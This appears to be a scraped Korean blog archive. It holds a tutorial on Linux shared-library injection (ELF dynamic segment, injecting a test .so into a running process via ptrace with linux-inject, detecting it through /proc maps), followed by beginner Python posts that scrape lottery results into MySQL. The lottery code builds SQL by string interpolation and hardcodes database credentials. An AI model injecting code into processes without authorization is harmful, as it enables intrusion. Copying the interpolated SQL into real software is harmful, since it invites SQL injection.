정적 라이브러리라고 하며, 컴파일 시에 컴파일러에 의해 참조되어 실행파일 생성 시에 복사됩니다.

즉 해당 라이브러리의 프로그램을 실행하기 위한 코드가 실행 프로그램 안에 존재하게 됩니다.


보통 정적 라이브러리를 사용할 경우 라이브러리 코드가 실행 파일 안에 포함되기 때문에 프로그램의 크기는 커지지만 실행 속도는 빨라지게 됩니다.

윈도우는 .lib 확장자를 가지며 리눅스 계열은 .a 확장자를 사용합니다.



2. Shared or Dynamic Library


동적 라이브러리라고 하며, 프로그램 실행 시에 메모리에 로딩되어 사용됩니다.

동적 라이브러리를 사용할 경우 라이브러리 코드가 실행 파일과 분리되기 때문에 프로그램 크기가 작아지는 대신 실행 시에 메모리에 로딩되기 때문에 실행 속도는 정적 라이브러리 방식에 비해 조금 느려집니다.


또한 정적 라이브러리를 사용할 경우 라이브러리 업데이트가 발생하면 실행 파일을 다시 빌드해서 배포해야 하지만, 동적 라이브러리는 실행파일과 상관없이 동적 라이브러리 자체만 배포하면 되기 때문에 유지 보수가 쉬워 일반적으로 많이 쓰이는 방식입니다.

윈도우는 .dll 확장자를 가지며 리눅스 계열은 보통 .so 확장자를 사용합니다. 



Shared Library or DLL Injection


동적 라이브러리가 프로그램 실행 시간에 로딩된다는 점을 이용하여 수정된 라이브러리를 로딩하게 하거나, 임의의 라이브러리를 로딩하게 하는 등의 공격 방법입니다.



일반적으로 공유 라이브러리를 삽입하는 공격 방법은 아래의 3가지로 볼 수 있습니다.


  1. PTRACE를 사용한 shellcode injection
  2. VDSO 수정
  3. __libc_dlopen을 사용하는 방법



각 공격 방법은 다음 포스트에서 다루도록 하고 이번 포스트에서는 각 공격법들을 이해하기 위해 필수인 ELF 파일 포맷에 대해 간략하게 알아보고 shared library가 inject된 상태를 보도록 하겠습니다.


ELF(Executable and Linkable Format) File Format


ELF는 리눅스 계열 운영체제에서 주로 사용되는 파일 포맷입니다. 윈도우 계열은 FAT, NTFS 파일 포맷을 이용합니다.


아래는 ELF 파일 포맷을 나타내는 그림입니다.


(http://www.sw-at.com/blog/wp-content/uploads/2011/04/elf.png 에서 발췌)



오른쪽 그림을 기준으로 설명하도록 하겠습니다.

ELF 파일 포맷은 Program Header Table을 가지는데, 이것은 0개 이상의 세그먼트들에 대한 정의를 가지고 있습니다.

또, Section Header Table도 가지는데, 이것은 0개 이상의 섹션들에 대한 정의를 가지고 있습니다.

그리고 이들 헤더들에 의해 참조되는 데이터를 가지고 있습니다.

섹션은 링킹, 재배치에 필요한 정보를 포함하며 세그먼트는 해당 파일의 런타임 실행에 필요한 정보를 포함하고 있습니다.

(위키피디아 참조. https://ko.wikipedia.org/wiki/ELF_%ED%8C%8C%EC%9D%BC_%ED%98%95%EC%8B%9D)



readelf  유틸리티를 사용하면 ELF 파일 포맷 구조를 자세히 살펴볼 수 있습니다.


아래는 -l 옵션을 이용해서 /usr/bin/id 프로그램의 프로그램 헤더를 살펴보는 화면입니다.



위 화면에서 INTERP는 dynamic linker의 경로를 보여주는데 위의 화면에서는 /lib64/ld-linux-x86-64.so.2 로 표시되어 있습니다.

그리고 아래 두 개의 LOAD는 text segment, data segment를 표시합니다.

특히 구조체 배열로 저장된 데이터들을 나타내는 DYNAMIC을 눈여겨 보셔야 하는데요, 이 segment는 data segment 범위 안에 존재하며 두 번째 LOAD 다음 메모리에 적재됩니다.


위에서 dynamic segment는 구조체 배열의 형태로 저장되어 있다고 언급했는데, 이 구조체는 바로 Elfn_Dyn 구조체입니다.

Elfn_Dyn 구조체는 아래와 같습니다.



typedef struct {
    Elf64_Sxword    d_tag;
    union {
        Elf64_Xword    d_val;
        Elf64_Addr      d_ptr;
    } d_un;
} Elf64_Dyn;
extern Elf64_Dyn _DYNAMIC[];


dynamic segment는 dynamic linker가 필요로 하는 모든 정보를 가지고 있으며, 의존성 해결을 위해 런타임에 dynamic linker에 의해 파싱됩니다. 이후 runtime patching을 이용해 복잡한 재배치 작업을 거쳐 비로소 프로세스 안으로 링크됩니다.

dynamic linker는 그 자체로써 dynamic library object입니다. 


Elf64_Dyn 구조체의 멤버인 d_tag는 구조체에 저장된 데이터의 타입을 dynamic linker에게 알려주는 역할을 합니다. elf(5)를 보면 d_tag 값으로 가능한 모든 리스트를 알 수 있습니다.


가장 중요한 내용으로 dynamic linker는 d_tag 값이 DT_NEED인 엔트리들을 찾아 dynamic object를 프로세스 안에 링크 시킵니다.


-d 옵션을 사용하면 아래와 같이 dynamic segment의 정보를 볼 수 있습니다.



위 화면에서 볼 수 있듯이 (NEEDED)로 표시된 두 개의 shared library가 바로 Elf64_Dyn 구조체의 d_tag값이 DT_NEED인 엔트리들입니다.



ELF File Format에 관한 더 자세한 정보는 아래 자료를 참고하시기 바랍니다.

http://flint.cs.yale.edu/cs422/doc/ELF_Format.pdf



Inject된 Dynamic Library 살펴보기



그럼 실제로 dynamic library가 inject 되었을 때를 한번 살펴보도록 하겠습니다.


먼저 inject할 프로세스를 찾아볼까요?

저는 현재 로그인 한 계정인 ubuntu 로 실행되고 있는 프로세스들 중 하나를 선택하였습니다.

(mint 리눅스가 좀 이상해서 ubuntu로 변경했습니다 ㅠ_-)




저는 /usr/bin/prldnd 라는 프로세스를 선택했습니다. 무슨 일을 하는 프로세스인지는 모르겠습니다.

그냥 아무 이유없이 선택했습니다. ^^;



linux-injects 라는 ptrace를 이용하는 오픈소스 툴을 사용해서 inject를 해보겠습니다.

먼저 inject할 shared library를 만들어볼까요?



아래와 같이 fPIC, shared 옵션을 이용해 컴파일 하면 so 파일을 생성할 수 있습니다.



이제 위에서 만들어진 shared library를 이용해 /usr/bin/prldnd 프로세스에 inject 해 보도록 하겠습니다.

해당 프로세스의 PID는 2537입니다.

ptrace를 사용하기 때문에 inject를 성공시키기 위해서는 반드시 sudo 권한이 필요합니다.




위와 같이 inject에 성공하면 inject에 성공했다는 메세지를 볼 수 있습니다.


그럼 제대로 injection이 되었는지 확인해 볼까요?

/proc 디렉토리의 maps 파일을 읽어 해당 프로세스의 프로세스 맵을 보도록 하겠습니다.



위와 같이 testlib.so 가 해당 프로세스의 주소 공간에 제대로 적재되어 있는 것을 확인할 수 있습니다.



그럼 사용자의 입장에서 실행중인 특정 프로세스에 shared library가 삽입되었는지 어떻게 발견할 수 있을까요?

일반적으로 정상적으로 로딩되는 shared library는 인접한 주소 공간에 자리잡게 됩니다.

또한 바이너리 파일의 DT_NEEDED인 object와의 비교를 통해서도 알 수 있습니다.


아래는 실행중인 prldnd 프로세스에 로딩된 모든 shared library 목록들 중 중복을 제거한 결과입니다.

(이 글을 쓰는 시점에서 리눅스 재부팅으로 프로세스 ID의 변경이 있었습니다.)




ldd 명령으로도 확인이 가능하구요,




GDB로도 확인이 가능합니다.




아래는 /usr/bin/prldnd의 DT_NEED object를 확인해 본 결과입니다.




아쉽게도 DT_NEEDED인 뿐만 아니라 다른 shared object도 프로세스 주소 공간 내에 로딩되어 있어서 DT_NEEDED를 통한 단순 비교는 어렵습니다.


인접한 주소 공간에 로딩되었는지 다시 살펴볼까요?

프로세스 맵을 다시 한번 살펴보겠습니다.



보시다시피 우리가 삽입한 testlib.so 파일이 다른 so 파일과는 동떨어진 주소 공간에 로딩되어 있는 걸 볼 수 있습니다.


위와 같이 프로세스 맵을 보면 의심되는 shared library를 확인하실 수 있습니다. ^^




이번 포스팅은 여기까지 입니다.

다음 포스팅에서는 shared library injection의 가장 기초적인 방법으로 LD_PRELOAD를 이용한 injection 방법에 대해 알아보도록 하겠습니다.


읽어 주셔서 감사합니다.



참고자료

http://backtrace.io/blog/blog/2016/04/22/elf-shared-library-injection-forensics/





'Security' 카테고리의 다른 글

how to exploit window kernel (1)  (0) 2017.07.21
Shared Library Injection (3)  (0) 2016.08.02
Shared Library Injection (2)  (0) 2016.07.25
개발


이 글은 python 초보자들을 대상으로 하는 로또 데이터 분석에 관련된 글입니다.

이전 포스트는 아래 링크를 따라가시기 바랍니다.


2016/07/04 - [개발] - 따라하는 python 로또 분석(3)

2016/06/28 - [개발] - 따라하는 python 로또 분석(2)

2016/06/21 - [개발] - 따라하는 python 로또 분석 (1)



이번 포스트에서는 다른 분석을 한번 해 보도록 하겠습니다.


각 회차별 추첨 번호간 거리를 한번 알아보는 건 어떨까요? 갑자기 제가 궁금해졌습니다. -_-;


아래는 제 1회차 당첨번호 + 보너스 번호입니다.


10, 23, 29, 33, 37, 40, 16


첫 번째 번호가 10일 때 두 번째 번호 사이의 거리는 23 - 10 = 13입니다.

두 번째 번호와 세 번째 번호 사이의 거리는 얼마일까요? 제 질문이 어려웠나요? ^^;

정답은 29 - 23 = 6입니다.


이런 방식으로 각 번호 사이의 거리를 계산해보면 아래와 같습니다.

아, 물론 거리는 절대값입니다 ^^


첫 번째 자리 수가 10일 때, 13, 6, 4, 4, 3, 24



자, 이제 python 코드로 해볼까요?

참, 절대값으로 변환하는 python 함수는 abs() 입니다. ^^


아래는 거리를 계산하기 위해 추가된 distance  함수입니다.


def distance():
    db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
    cursor = db.cursor()

    try:
        cursor.execute("select * from data")
        results = cursor.fetchall()

        for row in results:
            print(row[0], "회차: ", end = "")
            print("1'st", row[1], "| ", end = "")

            for i in range(1, 7):
                print(abs(row[i + 1] - row[i]), " ", end="")

            print(" ")

    except:
        print(sys.exc_info()[0])

    cursor.close()
    db.close()


위의 코드를 추가하고 main 함수를 아래와 같이 수정합니다.



def main():
    last = getLast()
    dblast = checkLast()

    if dblast < last:
        print("최신 회차는 " + str(last) + " 회 이며, 데이터베이스에는 " + str(dblast) + "회 까지 저장되어 있습니다.")
        print("업데이트를 시작합니다.")
        crawler(dblast, last)

    insert()
    #analysis()
    distance()

if __name__ == "__main__":
    main()


이제 코드를 실행하면 아래와 같이 출력됩니다.



어느새 709회차 까지 왔군요. ^^;



그런데 위의 결과를 보니 각 데이터를 사이의 연관성이 잘 눈에 띄지 않습니다.

로또 번호는 정말로 랜덤인걸까요? 아니면 모수가 적어서 눈에 안 띄는 걸까요?


혹시 첫 번째로 뽑인 숫자들이 동일할 때 각 회차별 번호 간 거리는 어떻게 되는지 궁금하시지 않나요? ^^;


distance 함수를 아래와 같이 수정해 보겠습니다.

그냥 sql 문만 아래와 같이 수정하면 됩니다. ㅎㅎㅎ


cursor.execute("select * from data order by `1` asc")



수정된 distance 함수입니다.



def distance():
    db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
    cursor = db.cursor()

    try:
        cursor.execute("select * from data order by `1` asc")
        results = cursor.fetchall()

        for row in results:
            print("1'st", row[1], "| ", end="")

            for i in range(1, 7):
                print(abs(row[i + 1] - row[i]), " ", end="")

            print(" ")

    except:
        print(sys.exc_info()[0])

    cursor.close()
    db.close()


출력 결과를 보기 좋도록 하기 위해 회차 정보를 살짝 뺐습니다. ^^;


위의 코드를 실행한 결과는 아래와 같습니다.




예전 포스트에서의 기억을 떠올려보면 첫 번째 숫자로 가장 많이 나온 숫자는 1이었습니다.

위의 실행 결과에서는 잘렸지만, 스크롤을 올려 첫 번째 숫자로 1이 나왔을 때의 숫자 간격을 보면 아래와 같습니다.




제일 많이 나온 것 치고는 별로 공통되는 점은 없어 보입니다.

아쉽게도 이 방법으로는 로또 1등 당첨 숫자 예측이 어렵겠네요 ㅠ_-


위의 distance 함수를 조금 수정하면 각 자리별 숫자가 동일할 때의 간격을 뽑아볼 수도 있습니다.

이 부분은 여러분께 과제로 남기도록 하겠습니다. (귀찮아서 그러는 건 아니라고 믿어주세요;;;)



전체 소스코드는 아래에 올려두었습니다.

lotto.py




이상으로 이번 포스트를 마치겠습니다.

다음 포스트에서도 다른 방법으로 데이터를 분석해 보도록 하겠습니다.



읽어 주셔서 감사합니다.



'개발' 카테고리의 다른 글

Commands out of sync 문제  (0) 2017.11.27
Develop Security Static Code Analyzer (1)  (0) 2017.05.15
따라하는 python 로또 분석(3)  (0) 2016.07.04
따라하는 python 로또 분석(2)  (0) 2016.06.28
따라하는 python 로또 분석 (1)  (0) 2016.06.21
개발



이 글은 python 초보자들을 대상으로 하는 로또 데이터 분석에 관련된 글입니다.

이전 포스트는 아래 링크를 따라가시기 바랍니다.


2016/06/21 - [개발] - 따라하는 python 로또 분석 (1)


2016/06/28 - [개발] - 따라하는 python 로또 분석(2)





이번 포스트부터는 드디어 제목에 맞게 로또 데이터를 분석해 보도록 하겠습니다.


첫 시간에는 각 숫자의 출현 빈도를 알아보도록 하겠습니다.


뭐, 이거는 컴퓨터 전공이라면 자료구조나 알고리즘 시간에 다들 배우셨을 텐데요,

굳이 설명할 필요가 있나 싶지만 혹시 또 모르니까 진행해 보도록 하겠습니다.


숫자의 출현 빈도를 어떻게 계산할 수 있을까요?


리스트 또는 배열을 이용할 수 있는데요, 간단한 배열을 이용한 방식을 사용해 보도록 하겠습니다.


먼저 1부터 45까지의 배열을 생성합니다.

그리고 데이터베이스에 저장된 각 회차별 당첨번호들을 하나씩 순회하면서 해당 숫자의 배열의 카운트를 하나씩 증가시키면 됩니다.



배열 초기화

인덱스       ->          1    2   3   4   ....   45

데이터       ->        | 0 | 0 | 0 | 0 | .... | 0 |



최초의 배열은 위와 같이 모두 0으로 초기화 되어 있습니다.

만약 보너스 번호를 포함한 1회차 당첨 번호가 1, 11, 21, 31, 41,  2, 12 라면,

배열[1] = 배열[1]++, 배열[11] = 배열[11]++... 이런 식으로 증가시켜 주면 됩니다.



요 부분을 코드에 추가시켜 보겠습니다.

수정된 코드는 아래와 같습니다.



# lotto.py

import requests
from bs4 import BeautifulSoup
import MySQLdb
import sys

# 웹 크롤링 한 결과를 저장할 리스트
lotto_list = []

# 로또 웹 사이트의 첫 주소
main_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin"

# 각 회차별 당첨정보를 알 수 있는 주소
basic_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin&drwNo="


def getLast():
	resp = requests.get(main_url)
	soup = BeautifulSoup(resp.text, "lxml")
	line = str(soup.find("meta", {"id" : "desc", "name" : "description"})['content'])

	begin = line.find(" ")
	end = line.find("회")

	if begin == -1 or end == -1:
	    print("not found last lotto number")
	    exit()

	return int(line[begin + 1 : end])


def checkLast():
	db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
	cursor = db.cursor()

	sql = "SELECT MAX(count) FROM data"
	try:
	    cursor.execute(sql)
	    result = cursor.fetchone()
	except:
	    print(sys.exc_info()[0])

	cursor.close()
	db.close()

	return result[0]


def crawler(fromPos, toPos):

	for i in range(fromPos + 1, toPos + 1):
		
		crawler_url = basic_url + str(i)
		print("crawler: " + crawler_url)

		resp = requests.get(crawler_url)
		soup = BeautifulSoup(resp.text, "lxml")
		line = str(soup.find("meta", {"id" : "desc", "name" : "description"})['content'])

		begin = line.find("당첨번호")
		begin = line.find(" ", begin) + 1
		end = line.find(".", begin)
		numbers = line[begin:end]

		begin = line.find("총")
		begin = line.find(" ", begin) + 1
		end = line.find("명", begin)
		persons = line[begin:end]

		begin = line.find("당첨금액")
		begin = line.find(" ", begin) + 1
		end = line.find("원", begin)
		amount = line[begin:end]

		info = {}
		info["회차"] = i
		info["번호"] = numbers
		info["당첨자"] = persons
		info["금액"] = amount

		lotto_list.append(info)

def insert():
	db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
	cursor = db.cursor()

	for dic in lotto_list:
		count = dic["회차"]
		numbers = dic["번호"]
		persons = dic["당첨자"]
		amounts = dic["금액"]

		print("insert to database at " + str(count))

		numberlist = str(numbers).split(",")

		sql = "INSERT INTO `lotto`. `data`(`count`, `1`, `2`, `3`, `4`, `5`, `6`, `7`, `persion`, `amount`) " \
		      "VALUES('%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%s')" \
		      % (count,
		         int(numberlist[0]),
		         int(numberlist[1]),
		         int(numberlist[2]),
		         int(numberlist[3]),
		         int(numberlist[4]),
		         int(numberlist[5].split("+")[0]),
		         int(numberlist[5].split("+")[1]),
		         int(persons),
		         str(amounts))

		try:
		    cursor.execute(sql)
		    db.commit()
		except:
		    print(sys.exc_info()[0])
		    db.rollback()
		    break

	cursor.close()
	db.close()

def analysis(myarray):
	db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
	cursor = db.cursor()

	# 처음 뽑힌 숫자들 전체를 조회
	sql = "select `1` from data"
    
	try:
		cursor.execute(sql)
		results = cursor.fetchall()

		# 해당 숫자의 뽑힌 횟수를 하나씩 증가
		for row in results:
			i = row[0]
			count = myarray[i]
			myarray[i] = count + 1
	except:
		print(sys.exc_info()[0])
		
	cursor.close()
	db.close()

def main():
	last = getLast()
	dblast = checkLast()

	if dblast < last:
		print("최신 회차는 " + str(last) + " 회 이며, 데이터베이스에는 " + str(dblast) + "회 까지 저장되어 있습니다.")
		print("업데이트를 시작합니다.")
		crawler(dblast, last)
		
	insert()

	# 0부터 45까지의 배열을 생성하고 0으로 초기화
	myarray = [0 for i in range(46)]
	analysis(myarray)

	for i in range(1, len(myarray)):
		if (i % 10) == 0:
			print("")
		print("[" + str(i) + ":" + str(myarray[i]) + "]", end=" ")
	print()

		
if __name__ == "__main__":
    main()


anaysis() 함수가 추가되었습니다.


myarray라는 0부터 45까지의 배열을 생성하여 0으로 초기화 한 후 analysis 함수에 전달합니다.



위 코드를 실행하면 아래와 같은 결과가 나옵니다.




로또 공식 사이트에서 제공하는 당첨 번호는 정렬된 번호가 아니라 뽑힌 순서별로 되어 있습니다. 


그러므로 위의 데이터 분석 결과를 보면,

매 회차 로또에서 첫 번째로 뽑히는 숫자의 출현 빈도는 1이 105번으로 가장 많습니다.

두 번째는 2가 73회의 출현 빈도를 가졌습니다.



이번에는 위를 모든 순서에 적용해서 가장 많이 출현한 숫자대로 정렬을 해 보겠습니다.

즉, 첫 번째 추첨에서 가장 많이 나온 숫자부터 보너스 숫자 추첨에서 가장 많이 나온 숫자까지를 뽑아보도록 하겠습니다.


analysis() 함수에 for 루프만 살짝 추가하면 됩니다. ^^

이렇게 수정된 코드는 아래와 같습니다.


# lotto.py

import requests
from bs4 import BeautifulSoup
import MySQLdb
import sys


# 웹 크롤링 한 결과를 저장할 리스트
lotto_list = []

# 로또 웹 사이트의 첫 주소
main_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin"

# 각 회차별 당첨정보를 알 수 있는 주소
basic_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin&drwNo="


def getLast():
    resp = requests.get(main_url)
    soup = BeautifulSoup(resp.text, "lxml")
    line = str(soup.find("meta", {"id": "desc", "name": "description"})['content'])

    begin = line.find(" ")
    end = line.find("회")

    if begin == -1 or end == -1:
        print("not found last lotto number")
        exit()

    return int(line[begin + 1: end])


def checkLast():
    db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
    cursor = db.cursor()

    sql = "SELECT MAX(count) FROM data"
    try:
        cursor.execute(sql)
        result = cursor.fetchone()
    except:
        print(sys.exc_info()[0])

    cursor.close()
    db.close()

    return result[0]


def crawler(fromPos, toPos):
    for i in range(fromPos + 1, toPos + 1):
        crawler_url = basic_url + str(i)
        print("crawler: " + crawler_url)

        resp = requests.get(crawler_url)
        soup = BeautifulSoup(resp.text, "lxml")
        line = str(soup.find("meta", {"id": "desc", "name": "description"})['content'])

        begin = line.find("당첨번호")
        begin = line.find(" ", begin) + 1
        end = line.find(".", begin)
        numbers = line[begin:end]

        begin = line.find("총")
        begin = line.find(" ", begin) + 1
        end = line.find("명", begin)
        persons = line[begin:end]

        begin = line.find("당첨금액")
        begin = line.find(" ", begin) + 1
        end = line.find("원", begin)
        amount = line[begin:end]

        info = {}
        info["회차"] = i
        info["번호"] = numbers
        info["당첨자"] = persons
        info["금액"] = amount

        lotto_list.append(info)


def insert():
    db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
    cursor = db.cursor()

    for dic in lotto_list:
        count = dic["회차"]
        numbers = dic["번호"]
        persons = dic["당첨자"]
        amounts = dic["금액"]

        print("insert to database at " + str(count))

        numberlist = str(numbers).split(",")

        sql = "INSERT INTO `lotto`. `data`(`count`, `1`, `2`, `3`, `4`, `5`, `6`, `7`, `persion`, `amount`) " \
              "VALUES('%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%s')" \
              % (count,
                 int(numberlist[0]),
                 int(numberlist[1]),
                 int(numberlist[2]),
                 int(numberlist[3]),
                 int(numberlist[4]),
                 int(numberlist[5].split("+")[0]),
                 int(numberlist[5].split("+")[1]),
                 int(persons),
                 str(amounts))

        try:
            cursor.execute(sql)
            db.commit()
        except:
            print(sys.exc_info()[0])
            db.rollback()
            break

    cursor.close()
    db.close()


def analysis():
    db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
    cursor = db.cursor()

    for i in range(1, 8):

        sql = "select `"
        sql += str(i)
        sql += "` from data"

        try:
            cursor.execute(sql)
            results = cursor.fetchall()

            # 해당 숫자의 뽑힌 횟수를 하나씩 증가
            myarray = [0 for i in range(46)]
            for row in results:
                k = row[0]
                count = myarray[k]
                myarray[k] = count + 1
            print(i, myarray.index(max(myarray)))
        except:
            print(sys.exc_info()[0])

    cursor.close()
    db.close()


def main():
    last = getLast()
    dblast = checkLast()

    if dblast < last:
        print("최신 회차는 " + str(last) + " 회 이며, 데이터베이스에는 " + str(dblast) + "회 까지 저장되어 있습니다.")
        print("업데이트를 시작합니다.")
        crawler(dblast, last)

    insert()
    analysis()

if __name__ == "__main__":
    main()



위 코드를 실행하면 아래와 같은 결과를 볼 수 있습니다.




로또 추첨 708회차가 진행되는 동안 첫 번째 자리에 가장 많이 나온 번호는 1, 두 번째 자리에 가장 많이 나온 번호는 8, 세 번째는 20, 순서대로 27, 38, 45 였고, 보너스 번호는 43이 가장 많이 나왔습니다.



전체 소스 코드는 아래에 첨부하였습니다.

lotto.py




이것으로 이번 포스트를 마치도록 하겠습니다.


다음 포스트에서는 조금 더 다양한 방법으로 로또 데이터 분석을 시도해 보도록 하겠습니다.



읽어 주셔서 감사합니다.


'개발' 카테고리의 다른 글

Commands out of sync 문제  (0) 2017.11.27
Develop Security Static Code Analyzer (1)  (0) 2017.05.15
따라하는 python 로또 분석(4)  (0) 2016.07.11
따라하는 python 로또 분석(2)  (0) 2016.06.28
따라하는 python 로또 분석 (1)  (0) 2016.06.21
개발



이 글은 python 초보자들을 대상으로 하는 로또 데이터 분석에 관련된 글입니다.

이전 포스트는 아래 링크를 따라가시기 바랍니다.


2016/06/21 - [개발] - 따라하는 python 로또 분석 (1)




3. 추출한 데이터 저장하기


지금까지 우리는 python을 이용하여 로또 사이트에서 데이터를 추출하는 법을 다루었습니다.


이번엔 받아온 데이터를 데이터베이스에 저장해 볼 차례입니다.

sqlite나 mongodb등이 유행인데요, 저는 이미 mysql이 깔려있던 관계로 mysql을 그대로 사용하였습니다.



python 모듈 : MySQLdb


MySQLdb - python에서 mysql을 사용하기 위한 라이브러리.


이번에도 pip3를 이용하여 위의 모듈을 설치해 줍니다.


저는 lotto라는 데이터베이스를 만들고 data라는 테이블을 추가하였습니다.

data 테이블 구조는 아래와 같습니다.




보너스 숫자를 포함한 전체 7개의 로또 숫자를 각 column으로 구분하여서 저장하도록 했습니다.

또 당첨횟수, 당첨자수, 당첨금액은 각각 count, persion, amount라는 column에 저장하도록 하였습니다.

모든 column들은 not null 설정을, 당첨금액을 제외한 모든 column들은 INT형으로 설정하였습니다.

당첨횟수 count는 인덱스로 사용하기 위해 pk, unique, unsigned를 지정해 주었습니다. 

그리고 해당 데이터베이스에 연결되는 유저와 패스워드는 lotto/lotto로 설정하였습니다.



그럼 해당 설정을 이용하여 python에서 mysql로 연결이 잘 되는지를 테스트 해 볼 차례입니다.

수정된 코드는 아래와 같습니다.


# lotto.py

import requests
from bs4 import BeautifulSoup
import MySQLdb

def main():
	basic_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin&drwNo="
	for i in range(1, 707):
		resp = requests.get(basic_url + str(i))
		soup = BeautifulSoup(resp.text, "lxml")
		line = str(soup.find("meta", {"id" : "desc", "name" : "description"})['content'])
		
		print("당첨회차: " + str(i))

		begin = line.find("당첨번호")
		begin = line.find(" ", begin) + 1
		end = line.find(".", begin)
		numbers = line[begin:end]
		print("당첨번호: " + numbers)

		begin = line.find("총")
		begin = line.find(" ", begin) + 1
		end = line.find("명", begin)
		persons = line[begin:end]
		print("당첨인원: " + persons)

		begin = line.find("당첨금액")
		begin = line.find(" ", begin) + 1
		end = line.find("원", begin)
		amount = line[begin:end]
		print("당첨금액: " + amount)


		db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
		cursor = db.cursor()

		sql = "SELECT count(*) FROM data"
		cursor.execute(sql)
		results = cursor.fetchone()
		print("저장된 총 회차: " + str(results[0]))
		db.close()

		break
		
if __name__ == "__main__":
    main()


import MySQLdb를 추가하였고, 데이터베이스에 연결하기 위해서 connect를 호출합니다.

MySQLdb.connect(host, user, password, database)


cursor()를 받아와서 실행시키기 원하는 쿼리를 execute() 함수를 이용해 실행시키면 됩니다.

사용이 끝나면 close()를 이용해 연결을 닫아야 합니다.



위 코드를 실행한 결과는 아래와 같습니다.




저는 이미 데이터베이스에 707회차 까지의 데이터를 저장했기 때문에 707 이라는 숫자가 나왔지만, 이 글을 보고 따라하시는 분들은 아마 0이 나올 겁니다.


자 이제 지금까지 추출한 데이터를 이용해 데이터베이스에 저장하기만 하면 됩니다.

데이터베이스 저장은 일반적인 mysql 쿼리인 insert 구문을 이용하면 됩니다.


데이터베이스에 저장하는 코드를 추가하고 지금까지 만들어진 코드를 정리해보도록 하겠습니다.


먼저 웹 크롤링을 하는 부분과 데이터베이스 저장을 하는 부분을 함수로 구분했습니다.


웹 크롤링을 하는 부분에서는 다운로드 받은 HTML에서 필요한 데이터를 추출하여 리스트에 추가합니다.

웹 크롤링이 끝나면 리스트를 순회하면서 추출한 데이터를 하나씩 데이터베이스에 저장합니다.

데이터베이스 저장 중 에러 발생 시에는 rollback 하도록 에러 핸들링 부분을 추가하였습니다.



수정된 코드는 아래와 같습니다.

# lotto.py

import requests
from bs4 import BeautifulSoup
import MySQLdb
import sys

# 웹 크롤링 한 결과를 저장할 리스트
lotto_list = []

basic_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin&drwNo="

def crawler():
	for i in range(1, 707):
		
		crawler_url = basic_url + str(i)
		print("crawler: " + crawler_url)

		resp = requests.get(crawler_url)
		soup = BeautifulSoup(resp.text, "lxml")
		line = str(soup.find("meta", {"id" : "desc", "name" : "description"})['content'])

		begin = line.find("당첨번호")
		begin = line.find(" ", begin) + 1
		end = line.find(".", begin)
		numbers = line[begin:end]

		begin = line.find("총")
		begin = line.find(" ", begin) + 1
		end = line.find("명", begin)
		persons = line[begin:end]

		begin = line.find("당첨금액")
		begin = line.find(" ", begin) + 1
		end = line.find("원", begin)
		amount = line[begin:end]

		info = {}
		info["회차"] = i
		info["번호"] = numbers
		info["당첨자"] = persons
		info["금액"] = amount

		lotto_list.append(info)

def insert():
	db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
	cursor = db.cursor()

	for dic in lotto_list:
		count = dic["회차"]
		numbers = dic["번호"]
		persons = dic["당첨자"]
		amounts = dic["금액"]

		print("insert to database at " + str(count))

		numberlist = str(numbers).split(",")

		sql = "INSERT INTO `lotto`. `data`(`count`, `1`, `2`, `3`, `4`, `5`, `6`, `7`, `persion`, `amount`) " \
		      "VALUES('%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%s')" \
		      % (count,
		         int(numberlist[0]),
		         int(numberlist[1]),
		         int(numberlist[2]),
		         int(numberlist[3]),
		         int(numberlist[4]),
		         int(numberlist[5].split("+")[0]),
		         int(numberlist[5].split("+")[1]),
		         int(persons),
		         str(amounts))

		try:
		    cursor.execute(sql)
		    db.commit()
		except:
		    print(sys.exc_info()[0])
		    db.rollback()
		    break

	db.close()

def main():
	crawler()
	insert()
		
if __name__ == "__main__":
    main()


해당 코드를 실행시키면 데이터베이스에 우리가 필요로 하는 데이터들이 무사히(?) 저장되었을 거라는 기대와는 달리 707회차 데이터가 빠져있는 것을 확인하실 수 있습니다.


for i in range(1, 707) 요 부분 때문에 실제로는 1부터 706까지만 웹 크롤링이 됩니다.

이 부분도 수정할겸 새로운 기능도 넣어볼까요?


현재까지 작성된 코드는 무식하게도 실행할 때마다 1회차부터의 결과를 다시 받아옵니다.

요즘처럼 바쁜 현대인이 귀중한 시간을 이렇게 낭비할 수는 없습니다.


그럼 어떻게 하면 될까요?


저는 로또 웹 사이트를 방문해서 가장 최신 회차와 데이터베이스에 저장된 가장 최신 회차를 비교하는 방식을 사용했습니다.

만약 데이터베이스에 저장된 회차보다 웹 사이트의 최신 회차가 더 크다면 해당 회차의 정보를 받아서 데이터베이스에 넣도록 합니다.



수정된 코드는 아래와 같습니다.


# lotto.py

import requests
from bs4 import BeautifulSoup
import MySQLdb
import sys

# 웹 크롤링 한 결과를 저장할 리스트
lotto_list = []

# 로또 웹 사이트의 첫 주소
main_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin"

# 각 회차별 당첨정보를 알 수 있는 주소
basic_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin&drwNo="


def getLast():
	resp = requests.get(main_url)
	soup = BeautifulSoup(resp.text, "lxml")
	line = str(soup.find("meta", {"id" : "desc", "name" : "description"})['content'])

	begin = line.find(" ")
	end = line.find("회")

	if begin == -1 or end == -1:
	    print("not found last lotto number")
	    exit()

	return int(line[begin + 1 : end])


def checkLast():
	db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
